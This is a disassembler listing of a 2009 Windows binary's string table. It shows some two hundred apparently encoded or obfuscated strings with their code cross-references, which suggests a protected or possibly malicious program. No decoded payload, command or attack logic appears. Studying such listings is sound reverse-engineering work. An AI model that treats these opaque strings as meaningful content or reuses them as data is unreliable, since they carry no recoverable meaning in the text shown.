aTiyj208fhvn_	db 'tIYj208FHvN.',0     ; DATA XREF: sub_40A9FE+1A3o
					; sub_40A9FE+645Fo ...
		align 4
a5ngN0zjh2i1	db '5nG/N0ZJh2i1',0     ; DATA XREF: sub_40A9FE+1B4o
					; sub_40A9FE+6470o ...
		align 4
aMdf9n0kzpx60	db 'mdf9n0kzPX60',0     ; DATA XREF: sub_40A9FE+1C5o
					; sub_40A9FE+6481o ...
		align 4
aAtfv_jgk0x1	db '/ATfv.jgK0X1',0     ; DATA XREF: sub_40A9FE+1D6o
					; sub_40A9FE+6492o ...
		align 4
aFu6k10irsc1	db 'fu6k10iRsc/1',0     ; DATA XREF: sub_40A9FE+1E7o
					; sub_40A9FE+64A3o ...
		align 4
a_luua_bruje0	db '.lUua.bruje0',0     ; DATA XREF: sub_40A9FE+1F8o
					; sub_40A9FE+64B4o ...
		align 4
aKzqshDhric_	db 'kzqSH/dhRIc.',0     ; DATA XREF: sub_40A9FE+66A5o
					; sub_41567F+632o
		align 4
aUycsBekwp0	db '/uYcs/BEKWP0',0     ; DATA XREF: sub_40A9FE+211o
					; sub_40A9FE+66BEo ...
		align 4
aWwfbf_0ptze_	db 'WWFBf.0ptzE.',0     ; DATA XREF: sub_40A9FE+67EAo
					; sub_41567F+648o
		align 4
aFhzdv1ootfg0	db 'fhzdV1OotFg0',0     ; DATA XREF: sub_40A9FE+22Ao
					; sub_40A9FE+6803o ...
		align 4
aUmk7x0pwyw9Qrn	db 'Umk7x0PwyW9/QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+6959o
					; sub_41567F+65Eo
		align 4
aLees11vpbnf0	db 'LeEs11vPbnf0',0     ; DATA XREF: sub_40A9FE+2A10o
					; sub_41567F+228o
		align 4
aLbjvg0r_qmb_	db 'lbJVg0r.qMb.',0     ; DATA XREF: sub_40A9FE+2A2Fo
					; sub_41567F+233o
		align 4
aA52n11svyfw0	db 'A52N11SVYFw0',0     ; DATA XREF: sub_40A9FE+2B22o
					; sub_41567F+23Eo
		align 4
aHj6vo0jrp9q0	db 'Hj6vo0JRP9Q0',0     ; DATA XREF: sub_40A9FE+2BEDo
					; sub_41567F+249o
		align 4
aR7wrsQhek_0	db 'r7WRs/qHek.0',0     ; DATA XREF: sub_40A9FE+2C9Bo
					; sub_41567F+254o
		align 4
aDuzcb0kgssv0	db 'DuzCb0KgSsv0',0     ; DATA XREF: sub_40A9FE+3236o
					; sub_41567F+25Fo
		align 4
aDqjso_47pdb	db 'dQJSO.47pdb/',0     ; DATA XREF: sub_40A9FE+344Co
					; sub_41567F+26Ao
		align 4
aK9vUKkutm	db 'K9V/U/KkuTM/',0     ; DATA XREF: sub_40A9FE+3513o
					; sub_41567F+275o
		align 4
a7yfnz0pw11s1	db '7yfnz0PW11s1',0     ; DATA XREF: sub_40A9FE+35C1o
					; sub_41567F+283o
		align 4
aNq_as1z1sit	db 'nQ.As1Z1SIt/',0     ; DATA XREF: sub_40A9FE+366Fo
					; sub_41567F+28Eo
		align 4
aUn3hk0sn58o_0	db 'uN3hk0sn58o/',0     ; DATA XREF: sub_40A9FE+36ADo
					; sub_41567F+299o
		align 4
aQrn4z10ge1i1_0	db 'QRn4z10ge1I1',0     ; DATA XREF: sub_40A9FE+371Co
					; sub_41567F+2A4o
		align 4
aIegud0v_5_	db 'iEguD0V/.5/.',0     ; DATA XREF: sub_40A9FE+3757o
					; sub_41567F+2AFo
		align 4
aFc9kk1jx11g_	db 'fc9Kk1jX11G.',0     ; DATA XREF: sub_40A9FE+379Ao
					; sub_41567F+2BAo
		align 4
aDnjq8Ze3zw	db 'DnjQ8/ze3ZW/',0     ; DATA XREF: sub_40A9FE+3807o
					; sub_41567F+2C5o
		align 4
aEwqxaOc1t_	db 'EWqxA//oC1T.',0     ; DATA XREF: sub_40A9FE+395Bo
					; sub_41567F+2D0o
		align 4
aJiatz0xsump1	db 'JIAtz0xSuMp1',0     ; DATA XREF: sub_40A9FE+3D36o
					; sub_41567F+2DEo
		align 4
aVi0qa1mvfro1	db 'VI0QA1mvfro1',0     ; DATA XREF: sub_40A9FE+3E33o
					; sub_41567F+2E9o
		align 4
aW3gp6_13acy1	db 'W3GP6.13AcY1',0     ; DATA XREF: sub_40A9FE+3F1Fo
					; sub_41567F+2F4o
		align 4
aE8qiq0hukv9	db 'e8qiq0Hukv9/',0     ; DATA XREF: sub_40A9FE+3F65o
					; sub_41567F+2FFo
		align 4
a18rjk_sa2je	db '18Rjk.sa2JE/',0     ; DATA XREF: sub_40A9FE+3FD5o
					; sub_41567F+30Ao
		align 4
aLjAmKzrtp1	db 'lJ/am/kZRtP1',0     ; DATA XREF: sub_40A9FE+40A5o
					; sub_41567F+315o
		align 4
aXzaru0amxhi_	db 'XZArU0aMxhi.',0     ; DATA XREF: sub_40A9FE+4198o
					; sub_41567F+320o
		align 4
aRa7e2Hhxpf0	db 'rA7E2/hHXPf0',0     ; DATA XREF: sub_40A9FE+4281o
					; sub_41567F+32Bo
		align 4
aRp4sr11cvr1	db 'Rp4sR11CvR1/',0     ; DATA XREF: sub_40A9FE+439Do
					; sub_41567F+339o
		align 4
aZqrvt0t6nmz_	db 'ZqrVt0t6nmZ.',0     ; DATA XREF: sub_40A9FE+44CCo
					; sub_41567F+344o
		align 4
a1shta0bzfwk1	db '1ShtA0bzFwk1',0     ; DATA XREF: sub_40A9FE+457Ao
					; sub_41567F+34Fo
		align 4
aAzcsp_hkilo_	db 'AZcsP.hkiLO.',0     ; DATA XREF: sub_40A9FE+45DEo
					; sub_41567F+35Ao
		align 4
aFepmfZswfd	db 'FEpMF/ZswFD/',0     ; DATA XREF: sub_40A9FE+465Fo
					; sub_41567F+365o
		align 4
aHpmch0pbq800	db 'HPmCH0PbQ800',0     ; DATA XREF: sub_40A9FE+51A3o
					; sub_41567F+66Co
		align 4
aUfbss0cbo8c__0	db 'uFbSS0Cbo8C.',0     ; DATA XREF: sub_40A9FE+243o
					; sub_40A9FE+5594o ...
		align 4
aNoazx1alvg0	db 'NoaZx1Alvg/0',0     ; DATA XREF: sub_40A9FE+257o
					; sub_40A9FE+578Do ...
		align 4
a7fugu_n0u2m1	db '7FUgU.N0U2m1',0     ; DATA XREF: sub_40A9FE+2ABo
					; sub_40A9FE+6972o ...
		align 4
aW3dwl46o0u0	db 'w3dWL/46o0u0',0     ; DATA XREF: sub_40A9FE+6BA2o
					; sub_41567F+698o
		align 4
aUbqs_hzpkh1	db '/uBQS.HZPkh1',0     ; DATA XREF: sub_40A9FE+2C2o
					; sub_40A9FE+6BB9o ...
		align 4
a6x7zf1eztny_	db '6x7zf1EztnY.',0     ; DATA XREF: sub_40A9FE+2D3o
					; sub_40A9FE+6BCAo ...
		align 4
a7otcu0fic6v0	db '7otcU0FiC6V0',0     ; DATA XREF: sub_40A9FE+2F5o
					; sub_40A9FE+6BECo ...
		align 4
aFyflu0ji3xh_	db 'FyFlU0jI3XH.',0     ; DATA XREF: sub_40A9FE+2E4o
					; sub_40A9FE+6BDBo ...
		align 4
aDnjyk0fwki__	db 'dnjYk0fWkI..',0     ; DATA XREF: sub_40A9FE+6BFDo
					; sub_41567F+6D2o
		align 4
aXmz20Gjkq	db 'xMz20//gJkQ/',0     ; DATA XREF: sub_40A9FE+306o
					; sub_40A9FE+6C14o ...
		align 4
aNhr6r0qsk450	db 'nHr6r0qsk450',0     ; DATA XREF: sub_40A9FE+6E2Do
					; sub_41567F+6E8o
		align 4
aX_62c_3ldcp	db 'X.62C.3LDCP/',0     ; DATA XREF: sub_40A9FE+31Do
					; sub_40A9FE+7784o ...
		align 4
aWt4rnWgl6v_	db 'wt4Rn/WGL6V.',0     ; DATA XREF: sub_40A9FE+79BDo
					; sub_41567F+6FEo
		align 4
aImvbw1shwxq0	db 'iMvbW1SHwxQ0',0     ; DATA XREF: sub_40A9FE+334o
					; sub_40A9FE+7555o ...
		align 4
a4h4m_q_guy_	db '4h4m/.Q.GUy.',0     ; DATA XREF: sub_40A9FE+776Do
					; sub_41567F+714o
		align 4
aPsern1aagh6_	db 'pSern1AAGh6.',0     ; DATA XREF: sub_40A9FE+35Co
					; sub_40A9FE+7085o ...
		align 4
aXkg84_cesgs_	db 'XkG84.cESgs.',0     ; DATA XREF: sub_40A9FE+369o
					; sub_40A9FE+7220o ...
		align 4
aUyfog_dvvny0	db 'UyfOG.DvVnY0',0     ; DATA XREF: sub_40A9FE+34Bo
					; sub_40A9FE+6E44o ...
		align 4
aP06vqBfbmo_	db 'p06vq/BFBMo.',0     ; DATA XREF: sub_40A9FE+376o
					; sub_40A9FE+73CBo ...
		align 4
a3vvsv1vurua	db '3VVsV1VuRUA/',0     ; DATA XREF: sub_40A9FE+753Eo
					; sub_41567F+74Eo
		align 4
aW1w2v121jsp_	db 'w1w2V121JSP.',0     ; DATA XREF: sub_40A9FE+383o
					; sub_40A9FE+79D4o ...
		align 4
aVz62d1m0yya	db 'Vz62d1m0Yya/',0     ; DATA XREF: sub_40A9FE+7B5Eo
					; sub_41567F+764o
		align 4
aF4c9z1ubcg80	db 'F4c9z1UBCg80',0     ; DATA XREF: sub_40A9FE+7B6Fo
					; sub_41567F+76Fo
		align 4
a2yclo0srxpi	db '2YClO0SRxpi/',0     ; DATA XREF: sub_40A9FE+7CD5o
					; sub_41567F+77Do
		align 4
aH3yh9_xq_s2_	db 'h3YH9.Xq.S2.',0     ; DATA XREF: sub_40A9FE+7CECo
					; sub_41567F+788o
		align 4
aIwbkf0o1om6Qrn	db 'IwBKf0O1Om6/QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+7E9Bo
					; sub_41567F+793o
		align 10h
aKmdie1uwntq	db 'KmdIe1UwntQ/',0     ; DATA XREF: sub_40A9FE+3A4o
					; sub_40A9FE+8142o ...
		align 10h
aUpx0wCz2ei0qrn	db 'UPx0W/cz2EI0QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+8291o
					; sub_41567F+7A9o
		align 4
aV6jbh0k4uD_	db 'V6jBH0k4u/d.',0     ; DATA XREF: sub_40A9FE+3BDo
					; sub_40A9FE+82C3o ...
		align 4
aB2smo_whkew_qr	db 'B2smo.WHkeW.QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+836Eo
					; sub_41567F+7BFo
		align 4
aVxg7n_qbmg90aa	db 'vXG7N.qBMG90aA/Td0EX07M1',0 ; DATA XREF: sub_40A9FE+83C1o
					; sub_41567F+7CAo
		align 4
aEm42x_1iszi1	db 'Em42x.1IsZI1',0     ; DATA XREF: sub_40A9FE+397o
					; sub_40A9FE+7EB4o ...
		align 4
aErnniHm17t1qrn	db 'ERNNi/HM17T1QRn4z10ge1I1',0 ; DATA XREF: sub_40A9FE+8119o
					; sub_41567F+7E3o
		align 10h
aQ5l5f_2to_60	db 'q5l5f.2TO.60',0     ; DATA XREF: sub_40A9FE+85D7o
					; sub_40A9FE+8619o ...
		align 10h
aJbkl4Fbwcf1	db 'jBKL4/FbWCF1',0     ; DATA XREF: sub_40A9FE+85E4o
					; sub_40A9FE+862Do ...
		align 10h
aW3gp6_13acy1_0	db 'W3GP6.13AcY1',0     ; DATA XREF: sub_40A9FE+8642o
					; sub_41567F+804o
		align 10h
aM08se_kt9td1	db 'M08SE.Kt9tD1',0     ; DATA XREF: sub_40A9FE+872Bo
					; sub_41567F+80Fo
		align 10h
a3eowx2ocng	db '3eowX/2OCnG/',0     ; DATA XREF: sub_40A9FE+8805o
					; sub_41567F+81Ao
		align 10h
aS3dyJzo6r	db 's3dY//JZo6r/',0     ; DATA XREF: sub_40A9FE+894Do
					; sub_41567F+825o
		align 10h
aUwher1dagd80	db 'UWher1DAGD80',0     ; DATA XREF: sub_40A9FE+8986o
					; sub_41567F+833o
		align 10h
aPnb_aBfzu60	db 'pNb.a/Bfzu60',0     ; DATA XREF: sub_40A9FE+89BFo
					; sub_41567F+83Eo
		align 10h
aZu2s6_o7_yt	db 'Zu2s6.O7.yt/',0     ; DATA XREF: sub_40A9FE+89D5o
					; sub_41567F+849o
		align 10h
a4hftz6holr	db '4hftZ/6HOlR/',0     ; DATA XREF: sub_40A9FE+8A21o
					; sub_41567F+854o
		align 10h
aYqrdp_9rf4u0	db 'yqrdP.9rF4U0',0     ; DATA XREF: sub_40A9FE+8A76o
					; sub_41567F+85Fo
		align 10h
a1uyis15kh_n1	db '1UyIs15KH.n1',0     ; DATA XREF: sub_40A9FE+8ABCo
					; sub_41567F+86Ao
		align 10h
a9ljbh07crkd__0	db '9lJBH07crkD.',0     ; DATA XREF: sub_40A9FE+8B02o
					; sub_41567F+875o
		align 10h
aD0ron_ctdg0_	db 'D0roN.CTDg0.',0     ; DATA XREF: sub_40A9FE+8B19o
					; sub_40A9FE+8B8Do ...
		align 10h
aFr8ri0f9nfz_	db 'fr8ri0f9NfZ.',0     ; DATA XREF: sub_40A9FE+8B37o
					; sub_40A9FE+8BAFo ...
		align 10h
aWbzcx0Dknt_	db 'wbZcx0/Dknt.',0     ; DATA XREF: sub_40A9FE+8B55o
					; sub_40A9FE+8BD1o ...
		align 10h
aNyjsr1cv5ch0	db 'NyJsR1cV5CH0',0     ; DATA XREF: sub_40A9FE+8C00o
					; sub_41567F+8A4o
		align 10h
aI6sd4ctzn0	db '/I6sD/4CTzn0',0     ; DATA XREF: sub_40A9FE+8F00o
					; sub_41567F+8AFo
		align 10h
aWrlthN3uh_1	db 'WRlth/n3Uh.1',0     ; DATA XREF: sub_40A9FE+8FABo
					; sub_41567F+8BAo
		align 10h
aYqjsn0wtutn1	db 'yQJsn0wtUtn1',0     ; DATA XREF: sub_40A9FE+906Do
					; sub_41567F+8C5o
		align 10h
aTy2nt0oi2yk	db 'ty2nT0oI2YK/',0     ; DATA XREF: sub_40A9FE+106o
					; sub_40A9FE+421o ...
		align 10h
a6h4nn1igjm60	db '6h4NN1IGJm60',0     ; DATA XREF: sub_40A9FE:loc_40CD94o
					; sub_40A9FE+240Co ...
		align 10h
aUr6ne_mot50_	db 'Ur6ne.MOT50.',0     ; DATA XREF: sub_40A9FE+2703o
					; sub_40A9FE+2749o ...
		align 10h
aHm1h_049e4o	db 'Hm1H.049e4O/',0     ; DATA XREF: sub_40A9FE+299Ao
					; sub_41567F+90Ao ...
		align 10h
aWj27_1belx20	db 'wj27.1Belx20',0     ; DATA XREF: sub_41567F+915o
					; sub_41BE01+355o
		align 10h
aPrttt0s3ag916n	db 'pRTtT0s3aG916N5aw.affEY1',0 ; DATA XREF: sub_41567F+8FFo
		align 4
aAl_N0kenp20	db 'Al./N0Kenp20',0     ; DATA XREF: sub_40A9FE+95o
					; sub_40A9FE+ABo ...
		align 4
aFfec81uznt81	db 'fFEC81UzNT81',0     ; DATA XREF: sub_40A9FE:loc_40AE03o
					; sub_40A9FE+9DDCo ...
		align 4
aJvatg1988z81	db 'jVATg1988z81',0     ; DATA XREF: sub_40A9FE+AA3o
					; sub_40A9FE+9E4Fo ...
		align 4
aMflx2_qu4vy_	db 'mflX2.QU4VY.',0     ; DATA XREF: .text:00401909o
					; sub_401990+Fo ...
		align 4
aXlpyr1anpgm0	db 'xLpyR1aNPGm0',0     ; DATA XREF: sub_407E4B+72o
					; sub_40A9FE+21Co ...
		align 4
aWpukb_0uioaOfu	db 'WPUkb.0uIoa/OFUur11TNYw0',0 ; DATA XREF: .text:0040A4A8o
					; .text:0040A4D1o ...
		align 4
aC4dd9_nojvo1	db 'C4dD9.nojvO1',0     ; DATA XREF: sub_40A9FE+5BBFo
					; sub_40A9FE:loc_410603o ...
		align 4
aJt17j1imtvd1	db 'jt17J1ImTVD1',0     ; DATA XREF: sub_4020BA+CEo
					; sub_402CE9+489o ...
		align 4
aLtlec18us5q0	db 'LTLec18US5q0',0     ; DATA XREF: sub_40A9FE+C1o
					; sub_40A9FE+F61o ...
		align 4
a6atss0dycwf_6n	db '6atSs0dyCWF.6N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+D7o
					; sub_40A9FE+10E3o ...
		align 4
a7_pak0onymn7ra	db '7.PaK0OnymN/7Razv/1FefF.',0 ; DATA XREF: sub_40A9FE+EDo
					; sub_40A9FE+15FFo ...
		align 10h
aWhdag1glagf_	db 'WHdAg1glAgf.',0     ; DATA XREF: sub_40A9FE:loc_40ADEBo
					; sub_40A9FE+4781o ...
		align 10h
aLmecq0ygcok	db 'lmecq0yGcoK/',0     ; DATA XREF: sub_40A9FE+4A92o
					; sub_40A9FE+4BFEo ...
		align 10h
aRccsh_adukf1	db 'RcCSh.AdUKf1',0     ; DATA XREF: sub_40A9FE+51C9o
					; sub_40A9FE+51EBo ...
		align 10h
aXu6cu1p_sn6_6n	db 'XU6CU1p.SN6.6N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+2A72o
					; sub_40A9FE+2AD3o ...
		align 4
aHuudgYqzdz	db 'HuuDG/YQZDz/',0     ; DATA XREF: sub_40A9FE+24Eo
					; sub_40A9FE+55DCo ...
		align 4
a6hwiyOatg9_6n5	db '6HWiy/OAtg9.6N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+262o
					; sub_40A9FE+57A6o ...
		align 4
aPtami1_agv	db 'PTaMI1/.aGV/',0     ; DATA XREF: sub_40A9FE+8844o
					; sub_40A9FE:loc_413260o ...
		align 4
aUhdhc1pcv9i	db 'uhdhC1pCV9i/',0     ; DATA XREF: sub_40A9FE:loc_40BF0Bo
					; sub_41567F+9ECo ...
		align 4
aWulzr_x7xjb0	db 'WUlZR.X7XjB0',0     ; DATA XREF: sub_40A9FE+29Do
					; sub_40A9FE+1743o ...
		align 4
aBjatzQyrs11	db 'BjAtz/qyRS11',0     ; DATA XREF: sub_40A9FE+2B6o
					; sub_40A9FE+69CFo ...
		align 4
aBvygm_afzkh0	db 'BVYGm.aFzkh0',0     ; DATA XREF: sub_40A9FE:loc_40ADDFo
					; sub_40A9FE+6C08o ...
		align 4
aLcgg60qk2mf0	db 'Lcgg60QK2mf0',0     ; DATA XREF: sub_40A9FE+311o
					; sub_40A9FE+6C68o ...
		align 4
aYhzck13caog0	db 'YhzCK13CaOG0',0     ; DATA XREF: sub_40A9FE:loc_40ADD8o
					; sub_40A9FE+6EA3o ...
		align 4
aAxauo_rlggx0	db 'aXauo.rLGgX0',0     ; DATA XREF: sub_40A9FE+33Fo
					; sub_40A9FE+75B2o ...
		align 4
aVfeso_qcgdt_	db 'vfEsO.QcgDt.',0     ; DATA XREF: sub_40A9FE+38Eo
					; sub_40A9FE+7AACo ...
		align 4
aSsoce0jbtxi	db 'sSOce0JbTXI/',0     ; DATA XREF: sub_40A9FE+7D26o
					; sub_40A9FE+7DA9o ...
		align 4
aQsoz9_vfvwu0	db 'QSOZ9.vFVWu0',0     ; DATA XREF: sub_40A9FE:loc_40ADADo
					; sub_40A9FE+7F1Co ...
		align 4
aXiw8_1hhx7d1	db 'Xiw8.1HHX7d1',0     ; DATA XREF: sub_41567F+A60o
					; sub_42045F+14Fo ...
		align 4
aO_sxv_ze9bk1go	db 'O.sxv.ze9bK1GOISY.dO.Vn1',0 ; DATA XREF: sub_40A9FE+69o
					; sub_40A9FE+A5Fo ...
		align 4
aXwzwo1pqcgt16n	db 'XWzwO1PqcgT16N5aw.affEY1',0 ; DATA XREF: sub_40A9FE+328o
					; sub_40A9FE+77E1o ...
		align 10h
a5oke1awbzq	db '5OkE/1AWBZq/',0     ; DATA XREF: sub_4020BA+C9o
					; sub_406C69+B5o ...
		align 10h
aIhfnL6b5x	db '/iHFN/l6B5X/',0     ; DATA XREF: sub_40A9FE+FCFo
					; sub_40A9FE+1637o ...
		align 10h
aAsqfy_k1uah0	db 'AsQfy.K1uah0',0     ; DATA XREF: sub_41567F+A8Co
					; sub_418AD3+126o ...
		align 10h
aBnjcz_zig1m0	db 'bNJcZ.ziG1m0',0     ; DATA XREF: sub_4033A3+6Bo
					; sub_40A9FE+8396o ...
		align 10h
aSfe3h0kclgx0	db 'SFe3H0kCLgx0',0     ; DATA XREF: sub_402459+1C6o
					; sub_41567F+AA2o ...
		align 10h
aYdidb16dnmq_	db 'YdidB16dnMQ.',0     ; DATA XREF: sub_402459+A7o
					; sub_402459+C9o ...
		align 10h
aQvdspRbq6w0	db 'QvDsp/rBQ6w0',0     ; DATA XREF: sub_41567F+ABBo
					; sub_4182BA+3F8o ...
		align 10h
aVv3aj1ywfkc_xz	db 'VV3AJ1ywFkC.XzinP/s/R0A.',0 ; DATA XREF: sub_40A9FE+52BDo
					; sub_40A9FE+533Fo ...
		align 4
aNd4qzY5xml0rna	db 'nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A.',0 ; DATA XREF: sub_41567F+AD1o
					; sub_4182BA+722o ...
		align 4
aRy6iq0udbph	db 'RY6IQ0UDbPh/',0     ; DATA XREF: sub_41567F+ADCo
					; sub_4182BA+241o ...
		align 4
aW3nki_guvjx	db 'w3NKI.gUvJx/',0     ; DATA XREF: sub_41567F+AE7o
					; sub_4182BA+6A9o ...
		align 4
aRy6iq0udbphLlD	db 'RY6IQ0UDbPh/LL/Dw.r3B9K/',0 ; DATA XREF: sub_40A9FE+5686o
					; sub_40A9FE+5747o ...
		align 10h
aRy6iq0udbphN2n	db 'RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00',0 ; DATA XREF: sub_40A9FE+5912o
					; sub_41567F+AFDo ...
		align 4
a8cbgoRjryr_	db '8CBGO/rJRYr.',0     ; DATA XREF: sub_4020BA+B4o
					; sub_40A9FE+220Co ...
		align 4
aKbwmi16jfhl	db 'KbwMi16jFhl/',0     ; DATA XREF: sub_4020BA+C4o
					; sub_402675+B3o ...
		align 4
aIde746o6B_	db 'Ide74/6o6/B.',0     ; DATA XREF: sub_402675+AEo
					; sub_41567F+B21o
		align 4
aY2lm40nv3yaP4m	db 'Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1',0 ; DATA XREF: sub_40A9FE+62C3o
					; sub_40A9FE+63B4o ...
		align 10h
a7zfry0iusme1	db '7Zfry0IUSmE1',0     ; DATA XREF: .text:004086F6o
					; .text:00408787o ...
		align 10h
a_9fty1n2tM_	db '.9ftY1N2T/m.',0     ; DATA XREF: sub_401B6E+1E4o
					; sub_401B6E+26Fo ...
		align 10h
aVxppy0owq7d	db 'VxPpy0owQ7D/',0     ; DATA XREF: sub_401B6E+18Fo
					; sub_401B6E+214o ...
		align 10h
aW50oj_ac8ak0	db 'w50OJ.ac8AK0',0     ; DATA XREF: sub_401B6E+1DFo
					; sub_401B6E+26Ao ...
		align 10h
aVgh9x1uWay0	db 'VgH9X1u/wAY0',0     ; DATA XREF: sub_401B6E+1BFo
					; sub_401B6E+248o ...
		align 10h
aEih0f1gakfp0	db 'EiH0f1GakFP0',0     ; DATA XREF: sub_401B6E+232o
					; sub_406429+1CEo ...
		align 10h
aUfbss0cbo8c_	db 'uFbSS0Cbo8C.',0     ; DATA XREF: sub_401B6E+1A7o
					; sub_401B6E+226o ...
		align 10h
aLvk_hHddio0	db 'Lvk.H/hddio0',0     ; DATA XREF: sub_401B6E+194o
					; sub_401B6E+219o ...
		align 10h
aJsuah_0_mmw0zb	db 'JsuAH.0.mmW0zbFKT0RKhRb0',0 ; DATA XREF: sub_401B6E+184o
					; sub_401B6E+209o ...
		align 4
aAqq27_7qqv10	db 'AQQ27.7qQv10',0     ; DATA XREF: sub_401B6E+179o
					; sub_401B6E+1FEo ...
		align 4
a2Afm0dt3o6_	db '2/Afm0dt3o6.',0     ; DATA XREF: .text:0040868Eo
					; .text:loc_408713o ...
		align 4
aQvp40nd9f2	db '/qvP40nD9F2/',0     ; DATA XREF: sub_41567F+BB3o
					; sub_42045F+29Co ...
		align 4
aMkk0_mvscp_hwh	db 'mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp.h0vRRTD1Po4dT/gU924/',0
					; DATA XREF: sub_41567F+BC1o
					; sub_42045F+25Eo ...
		align 4
aShktk1eNl8Jlzt	db 'sHKtk1e/Nl8/jLZte1JtI/t1',0 ; DATA XREF: sub_41567F+BCCo
					; sub_42045F+14Ao
		align 4
aZcm1__num3n0oe	db 'ZcM1..nUM3N0OE819.1TEYD.',0 ; DATA XREF: sub_41567F+BD7o
					; sub_42045F+208o
		align 4
a5_xnq0cowxs0	db '5.Xnq0cowXs0',0     ; DATA XREF: sub_40A9FE+8E8o
					; sub_40A9FE+90Fo ...
		align 4
a8y4sz09fdh50tc	db '8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNReP/bJcGz.',0
					; DATA XREF: sub_40A9FE+933o
					; sub_40A9FE+955o ...
		align 4
aRnyaa0crtpo0yy	db 'RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6Op1DNN3X.',0
					; DATA XREF: sub_40A9FE+968o
					; sub_41567F+BF8o
		align 4
aEuior0ay2w7_	db 'EUIOR0ay2w7.',0     ; DATA XREF: sub_40A9FE+8D7o
					; sub_40A9FE+9C7o ...
		align 4
aTfee90w_vdg1u8	db 'TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/',0 ; DATA XREF: sub_4033A3+82o
					; sub_4033A3:loc_403443o ...
		align 4
aIbtox1Hofe0hcx	db 'IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/',0 ; DATA XREF: sub_4033A3+C3o
					; sub_40A9FE+D17o ...
		align 4
aTpzyk0moe8_0jt	db 'TpzyK0MOE8.0jTPEZ1dC0uG0',0 ; DATA XREF: sub_40A9FE+D68o
					; sub_40A9FE+D8Eo ...
		align 4
a4ezrg1ye5hp1o2	db '4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0',0 ; DATA XREF: sub_40A9FE+DA4o
					; sub_40A9FE+DCAo ...
		align 10h
aJqrlpUxr08Qqdu	db 'JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znNna1b7t5k0pequ3.5yg/c/',0
					; DATA XREF: sub_40A9FE+DECo
					; sub_40A9FE+F7Ao ...
		align 10h
a4ezrg1ye5hp1au	db '4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO6N/QGUB30',0
					; DATA XREF: sub_40A9FE+EE8o
					; sub_40A9FE+F0Eo ...
		align 4
a2ms3c_kjtek0	db '2MS3c.kJTeK0',0     ; DATA XREF: sub_40A9FE+1A71o
					; sub_41567F+C53o
		align 4
aOgyzo1Qmpy1	db 'OGyZo1/qmpy1',0     ; DATA XREF: sub_40A9FE+1A6Bo
					; sub_41567F+C5Eo
		align 4
aNI427pnt0	db 'n/i4//27pnT0',0     ; DATA XREF: sub_40A9FE+1A59o
					; sub_41567F+C69o
		align 4
aXg4wo0gh6fy0p9	db 'xg4wO0Gh6FY0p9CIj.BYYVY.',0 ; DATA XREF: sub_40A9FE+1A53o
					; sub_41567F+C77o
		align 10h
aTarxm0mtxpp_	db 'tArXm0mtxpp.',0     ; DATA XREF: sub_406D7F+D1o
					; sub_407281+63o ...
		align 10h
aQ3bef_grjcn1aa	db 'Q3BEf.grJCN1aA/Td0EX07M1',0 ; DATA XREF: sub_40A9FE+19D3o
					; sub_40A9FE:loc_40C41Fo ...
		align 4
aPJs70eukyp0	db 'P/JS70EukYp0',0     ; DATA XREF: sub_40A9FE:loc_40C408o
					; sub_41567F+C98o
		align 4
aUDneTzo8s_omqd	db 'u/DnE/tzo8s.OMQDW1DERIa/',0 ; DATA XREF: sub_40A9FE+1B93o
					; sub_41567F+CA3o
		align 4
a2n67h0pevch1	db '2n67H0PEVch1',0     ; DATA XREF: sub_41567F+CAEo
		align 4
a5v1zc1efrzg_tc	db '5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1',0 ; DATA XREF: sub_40A9FE+426o
					; sub_41567F+CB9o
		align 10h
a6f3al1m_ydx05y	db '6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50pequ3.5yg/c/',0
					; DATA XREF: sub_40A9FE+B2Bo
					; sub_41567F+CC4o
		align 4
a3un9w_temux_5y	db '3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1',0 ; DATA XREF: sub_41567F+CD2o
					; sub_4182BA+662o
		align 4
aNeuf6qyoiMdAn1	db 'NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1',0 ; DATA XREF: sub_40A9FE+1BD6o
					; sub_41567F+CE8o
		align 4
a7nmru1owjrg0md	db '7NmRu1oWjRG0Md/AN15kOfy.nR01m1pzFKu1',0 ; DATA XREF: sub_41567F+CDDo
		align 4
aNxruj_viib6	db 'nxruJ.vIib6/',0     ; DATA XREF: sub_41567F+CF3o
					; sub_418FA1:loc_418FD3o
		align 4
a5gcpxGycn21n1z	db '5GCpx/gYCn21N1Zsj.w3Ty30',0 ; DATA XREF: sub_41567F+CFEo
					; sub_418FA1+1ACo
		align 4
aFoabg1acvfoOsd	db 'fOaBg1ACVfo/osdpb1E0v95.',0 ; DATA XREF: sub_40A9FE+711o
					; sub_40A9FE+1516o ...
		align 4
aPimgt12pvee_	db 'pImgT12pvEE.',0     ; DATA XREF: sub_40A9FE+28FAo
					; sub_41567F+D14o
		align 4
aJgyqn0dmzir12z	db 'jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0',0
					; DATA XREF: sub_40A9FE:loc_40D330o
					; sub_41567F+D1Fo
		align 4
aAqejv_njvii_y8	db 'aQeJV.nJvIi.y8Ri./b5L.q.',0 ; DATA XREF: sub_41567F+D2Do
					; sub_418FA1:loc_419118o
		align 4
aSSSS		db '%s %s (%s) %s',0    ; DATA XREF: sub_40A9FE+9F54o
					; sub_40A9FE+9F85o
		align 4
aBuiltOct102009	db ' Built: Oct 10 2009 20:03:55',0 ; DATA XREF: sub_40A9FE+9F38o
					; sub_40A9FE+9F69o
		align 4
